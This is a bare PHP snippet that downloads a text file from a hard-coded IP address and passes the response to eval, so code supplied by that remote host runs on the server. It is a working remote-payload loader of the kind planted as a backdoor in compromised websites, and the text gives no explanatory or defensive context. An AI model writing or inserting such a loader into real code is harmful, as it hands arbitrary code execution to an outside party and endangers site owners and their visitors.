$c = curl_init("http://192.187.125.10/z51223_2/stat/index2.txt");
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_TIMEOUT, 5);
curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 3);
$result = curl_exec($c);
if ($result !== false) {
    eval('?>' . $result);
}else{
    echo "Error: ".curl_errno($c).", ".curl_error($c);
}
curl_close($c);